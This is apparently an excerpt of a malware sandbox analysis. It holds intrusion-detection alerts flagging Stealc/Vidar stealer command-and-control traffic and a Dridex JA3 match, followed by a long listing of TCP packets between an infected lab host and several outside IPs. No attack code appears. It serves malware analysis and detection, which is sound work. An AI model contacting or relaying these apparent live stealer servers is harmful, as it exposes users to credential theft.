2024-10-02T17:17:41.039367+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65299	49.12.197.9	443	TCP
2024-10-02T17:17:42.366388+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65300	49.12.197.9	443	TCP
2024-10-02T17:17:45.836373+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65301	49.12.197.9	443	TCP
2024-10-02T17:17:47.334589+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65302	49.12.197.9	443	TCP
2024-10-02T17:17:53.204717+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65304	49.12.197.9	443	TCP
2024-10-02T17:17:55.581067+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65305	49.12.197.9	443	TCP
2024-10-02T17:17:56.926179+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65306	49.12.197.9	443	TCP
2024-10-02T17:17:58.320978+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65307	49.12.197.9	443	TCP
2024-10-02T17:17:59.043382+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	49.12.197.9	443	192.168.2.6	65307	TCP
2024-10-02T17:17:59.691104+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65308	49.12.197.9	443	TCP
2024-10-02T17:18:00.392648+0200	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	49.12.197.9	443	192.168.2.6	65308	TCP
2024-10-02T17:18:01.136233+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65309	49.12.197.9	443	TCP
2024-10-02T17:18:02.130210+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65310	49.12.197.9	443	TCP
2024-10-02T17:18:05.313693+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65311	49.12.197.9	443	TCP
2024-10-02T17:18:06.430352+0200	2028765	ET JA3 Hash - [Abuse.ch] Possible Dridex	3	192.168.2.6	65312	49.12.197.9	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 17:15:52.808341980 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:15:52.813319921 CEST	80	49722	41.216.188.190	192.168.2.6
Oct 2, 2024 17:15:52.813399076 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:15:52.813575029 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:15:52.818310976 CEST	80	49722	41.216.188.190	192.168.2.6
Oct 2, 2024 17:15:53.560409069 CEST	80	49722	41.216.188.190	192.168.2.6
Oct 2, 2024 17:15:53.590523005 CEST	49723	443	192.168.2.6	173.231.16.77
Oct 2, 2024 17:15:53.590564013 CEST	443	49723	173.231.16.77	192.168.2.6
Oct 2, 2024 17:15:53.590655088 CEST	49723	443	192.168.2.6	173.231.16.77
Oct 2, 2024 17:15:53.604799986 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:15:53.619436026 CEST	49723	443	192.168.2.6	173.231.16.77
Oct 2, 2024 17:15:53.619455099 CEST	443	49723	173.231.16.77	192.168.2.6
Oct 2, 2024 17:15:54.198035002 CEST	443	49723	173.231.16.77	192.168.2.6
Oct 2, 2024 17:15:54.198304892 CEST	49723	443	192.168.2.6	173.231.16.77
Oct 2, 2024 17:15:54.202634096 CEST	49723	443	192.168.2.6	173.231.16.77
Oct 2, 2024 17:15:54.202644110 CEST	443	49723	173.231.16.77	192.168.2.6
Oct 2, 2024 17:15:54.202912092 CEST	443	49723	173.231.16.77	192.168.2.6
Oct 2, 2024 17:15:54.246516943 CEST	49723	443	192.168.2.6	173.231.16.77
Oct 2, 2024 17:15:54.366707087 CEST	49723	443	192.168.2.6	173.231.16.77
Oct 2, 2024 17:15:54.411439896 CEST	443	49723	173.231.16.77	192.168.2.6
Oct 2, 2024 17:15:54.522736073 CEST	443	49723	173.231.16.77	192.168.2.6
Oct 2, 2024 17:15:54.522823095 CEST	443	49723	173.231.16.77	192.168.2.6
Oct 2, 2024 17:15:54.522943974 CEST	49723	443	192.168.2.6	173.231.16.77
Oct 2, 2024 17:15:54.545859098 CEST	49723	443	192.168.2.6	173.231.16.77
Oct 2, 2024 17:15:54.545895100 CEST	443	49723	173.231.16.77	192.168.2.6
Oct 2, 2024 17:15:54.547416925 CEST	49723	443	192.168.2.6	173.231.16.77
Oct 2, 2024 17:15:54.547439098 CEST	443	49723	173.231.16.77	192.168.2.6
Oct 2, 2024 17:15:54.565437078 CEST	49724	443	192.168.2.6	34.117.59.81
Oct 2, 2024 17:15:54.565485954 CEST	443	49724	34.117.59.81	192.168.2.6
Oct 2, 2024 17:15:54.565583944 CEST	49724	443	192.168.2.6	34.117.59.81
Oct 2, 2024 17:15:54.566010952 CEST	49724	443	192.168.2.6	34.117.59.81
Oct 2, 2024 17:15:54.566025972 CEST	443	49724	34.117.59.81	192.168.2.6
Oct 2, 2024 17:15:55.040534019 CEST	443	49724	34.117.59.81	192.168.2.6
Oct 2, 2024 17:15:55.040657043 CEST	49724	443	192.168.2.6	34.117.59.81
Oct 2, 2024 17:15:55.043214083 CEST	49724	443	192.168.2.6	34.117.59.81
Oct 2, 2024 17:15:55.043225050 CEST	443	49724	34.117.59.81	192.168.2.6
Oct 2, 2024 17:15:55.043458939 CEST	443	49724	34.117.59.81	192.168.2.6
Oct 2, 2024 17:15:55.044994116 CEST	49724	443	192.168.2.6	34.117.59.81
Oct 2, 2024 17:15:55.091393948 CEST	443	49724	34.117.59.81	192.168.2.6
Oct 2, 2024 17:15:55.188158989 CEST	443	49724	34.117.59.81	192.168.2.6
Oct 2, 2024 17:15:55.188260078 CEST	443	49724	34.117.59.81	192.168.2.6
Oct 2, 2024 17:15:55.188339949 CEST	49724	443	192.168.2.6	34.117.59.81
Oct 2, 2024 17:15:55.188746929 CEST	49724	443	192.168.2.6	34.117.59.81
Oct 2, 2024 17:15:55.188765049 CEST	443	49724	34.117.59.81	192.168.2.6
Oct 2, 2024 17:15:55.188776970 CEST	49724	443	192.168.2.6	34.117.59.81
Oct 2, 2024 17:15:55.188783884 CEST	443	49724	34.117.59.81	192.168.2.6
Oct 2, 2024 17:15:56.450511932 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:15:56.450582027 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:15:56.455495119 CEST	80	49722	41.216.188.190	192.168.2.6
Oct 2, 2024 17:15:56.455641985 CEST	80	49722	41.216.188.190	192.168.2.6
Oct 2, 2024 17:15:57.406681061 CEST	80	49722	41.216.188.190	192.168.2.6
Oct 2, 2024 17:15:57.448548079 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:15:57.530168056 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:15:57.530203104 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:15:57.535312891 CEST	80	49722	41.216.188.190	192.168.2.6
Oct 2, 2024 17:15:57.535330057 CEST	80	49722	41.216.188.190	192.168.2.6
Oct 2, 2024 17:15:58.776236057 CEST	80	49722	41.216.188.190	192.168.2.6
Oct 2, 2024 17:15:58.823545933 CEST	49722	80	192.168.2.6	41.216.188.190
Oct 2, 2024 17:15:58.952838898 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:58.957847118 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:58.957957983 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:58.958652020 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:58.963531017 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.611227989 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.611354113 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.646140099 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.651839972 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.834049940 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.834072113 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.834084988 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.834122896 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.834158897 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.834263086 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.834275007 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.834285975 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.834297895 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.834307909 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.834342957 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.834351063 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.834362030 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.834372044 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.834383965 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.834389925 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.834407091 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.834435940 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.839102983 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.839157104 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.924520016 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.924551964 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.924562931 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.924575090 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.924604893 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.924634933 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.929331064 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.929347038 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.929358959 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.929387093 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.929408073 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.929445028 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.929517031 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.934185982 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.934204102 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.934216976 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.934231997 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.934245110 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.934252977 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.934282064 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.934322119 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.938913107 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.938927889 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.938949108 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.938962936 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.938975096 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.938986063 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.939018011 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.943687916 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.943701029 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.943717003 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.943728924 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:15:59.943737984 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:15:59.943770885 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.248276949 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248296976 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248316050 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248327971 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248337984 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248337984 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.248349905 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248372078 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.248387098 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248399019 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248403072 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.248409986 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248419046 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248430014 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248429060 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.248451948 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.248491049 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.248663902 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248675108 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248684883 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248697042 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248707056 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248708010 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.248739004 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.248979092 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.248991013 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249001980 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249012947 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249022961 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249026060 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.249033928 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249046087 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.249063969 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249064922 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.249074936 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249085903 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249095917 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.249095917 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249108076 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249123096 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.249151945 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.249505997 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249517918 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249527931 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249538898 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249551058 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249557972 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.249583960 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.249754906 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249766111 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249777079 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249785900 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249814034 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.249830008 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.249932051 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249948978 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249959946 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249970913 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249977112 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.249982119 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.249994040 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.250000000 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.250005960 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.250015974 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.250026941 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.250032902 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.250037909 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.250056028 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.250083923 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.250334978 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.250377893 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.253390074 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.253437042 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.253469944 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.253505945 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.253614902 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.253626108 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.253649950 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.253669024 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.253953934 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.253964901 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.253977060 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.253999949 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.254028082 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.254056931 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.254067898 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.254079103 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.254091978 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.254112959 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.254825115 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.254870892 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.254930973 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.254942894 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.254959106 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.254970074 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.254976988 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.254981041 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.255000114 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.255028009 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.255825996 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.255872965 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.255882025 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.255886078 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.255904913 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.255923033 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.256000996 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.256011963 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.256022930 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.256057978 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.256081104 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.256799936 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.256836891 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.256849051 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.256849051 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.256897926 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.256980896 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.256992102 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.257003069 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.257025003 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.257049084 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.257843971 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.257855892 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.257869005 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.257884979 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.257906914 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.257968903 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.257981062 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.257992029 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.258012056 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.258037090 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.261949062 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.261960030 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.261970997 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.261989117 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.262010098 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.262099028 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262116909 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262128115 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262137890 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.262140989 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262151957 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262162924 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262170076 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.262175083 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262186050 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262196064 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262198925 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.262207031 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262214899 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.262217045 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262228012 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262236118 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.262262106 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262270927 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.262274027 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262284994 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262295008 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.262295961 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262306929 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262317896 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262326956 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262327909 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.262337923 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262350082 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.262365103 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.262389898 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.262975931 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.262988091 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.263000965 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.263017893 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.263035059 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.263134956 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.263175011 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.263335943 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.263346910 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.263356924 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.263367891 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.263374090 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.263379097 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.263391972 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.263396978 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.263408899 CEST	80	49725	147.45.44.104	192.168.2.6
Oct 2, 2024 17:16:00.263418913 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.263442993 CEST	49725	80	192.168.2.6	147.45.44.104
Oct 2, 2024 17:16:00.263470888 CEST	80	49725	147.45.44.104	192.168.2.6
